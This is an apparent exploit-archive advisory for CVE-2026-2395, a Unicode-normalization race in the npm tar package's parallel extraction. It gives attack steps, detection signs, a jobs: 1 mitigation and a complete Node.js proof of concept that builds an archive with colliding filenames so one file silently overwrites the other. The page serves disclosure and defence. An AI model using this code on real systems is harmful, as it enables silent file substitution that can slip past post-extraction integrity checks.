PoC Archive PoC Archive
Medium CVE-2026-2395 unpatched

npm `tar` Package Unicode-Normalization Race Condition / File Collision (CVE-2026-2395)

by dajneem23 · 2026-07-05

Severity
Medium
CVE
CVE-2026-2395
Category
misc
Affected product
tar npm package
Affected versions
7.5.3
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-01
Author / Researcherdajneem23
CVE / AdvisoryCVE-2026-2395
Categorymisc
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagstar, nodejs, npm, race-condition, unicode-normalization, file-collision, archive-extraction, data-corruption
RelatedN/A

Affected Target

FieldValue
Software / Systemtar npm package
Versions Affected7.5.3
Language / PlatformNode.js
Authentication RequiredNo
Network Access RequiredNo (local/library-level issue triggered by extracting an attacker-crafted archive)

Summary

The tar npm package’s parallel-extraction mode (jobs > 1) is vulnerable to a race condition rooted in Unicode normalization differences: filenames like collision_ss and collision_ß can be treated as the same target path due to case/normalization handling, even though they are distinct entries in the archive. When such an archive is extracted with parallel job processing enabled, the two entries can race to create/write the same underlying file or inode, causing one file’s content to silently overwrite or collide with the other’s. The included PoC builds a tar stream containing exactly this pair of colliding filenames (1000 bytes of A vs 1000 bytes of B) and extracts it with jobs: 8 to demonstrate the collision. Note that the PoC repository’s internal README refers to this as “CVE-2026-23950” in its body text, while the archived task metadata identifies it as CVE-2026-2395 — both point to the same underlying tar extraction race condition described here.


Vulnerability Details

Root Cause

tar’s extractor resolves output paths using a normalization/case-folding step that can map visually or semantically distinct filenames (e.g. ss vs ß) to the same on-disk path; when combined with parallel (multi-job) extraction, two archive entries can race to create/write that shared path concurrently.

Attack Vector

  1. Craft a tar archive containing two entries whose names collide under the library’s normalization logic (e.g. collision_ss and collision_ß) but with different contents.
  2. Deliver the archive to a victim process that extracts it using tar with parallel processing enabled (jobs > 1).
  3. During extraction, both entries race to the same resolved path/inode.
  4. Depending on timing, only one file survives, or its content is a mix/overwrite of the two, silently discarding or corrupting the other entry’s data.

Impact

Silent data loss or content corruption during archive extraction, and a potential security-relevant bypass if downstream logic verifies file contents/signatures only after extraction (verification could pass against one file while the deployed file is actually the other).


Environment / Lab Setup

Target:   tar (npm package) v7.5.3, Node.js runtime
Attacker: Node.js with the `tar` package installed to build/extract the crafted archive

Proof of Concept

PoC Script

See index.js (and package.json) in this folder.

1
2
npm install
node index.js

The script builds an in-memory tar stream containing collision_ss (1000 A characters) and collision_ß (1000 B characters), then extracts it with jobs: 8 into a scratch directory. It inspects the resulting files’ inodes/content and prints [*] GOOD if a collision occurred (single file or shared inode) or [-] No collision if both files extracted separately.


Detection & Indicators of Compromise

$ ls race_exploit_dir/ | wc -l   # expect 2, observe 1

Signs of compromise:

  • Extracted archives producing fewer files than the entry count in the original tarball.
  • Files with unexpected content following extraction of archives containing visually similar/near-duplicate filenames.
  • Post-extraction integrity checks (hash/signature) failing intermittently only under parallel-extraction workloads.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for an advisory/patched tar release
Interim mitigationDisable parallel extraction (jobs: 1) when processing untrusted archives, and verify file counts/hashes against the archive’s own entry list after extraction

References


Notes

Mirrored from https://github.com/dajneem23/CVE-2026-2395 on 2026-07-05.

index.js
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
  path: 'collision_ss',
  mode: 0o644,
  size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
  path: 'collision_ß',
  mode: 0o644,
  size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
  cwd: exploitDir,
  // Ensure jobs is high enough to allow parallel processing if locks fail
  jobs: 8
});

stream.pipe(extract);

extract.on('end', () => {
  console.log('[*] Extraction complete');

  // Check what exists
  const files = fs.readdirSync(exploitDir);
  console.log('[*] Files in exploit dir:', files);
  files.forEach(f => {
    const p = path.join(exploitDir, f);
    const stat = fs.statSync(p);
    const content = fs.readFileSync(p, 'utf8');
    console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
  });

  if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
    console.log('\[*] GOOD');
  } else {
    console.log('[-] No collision');
  }
});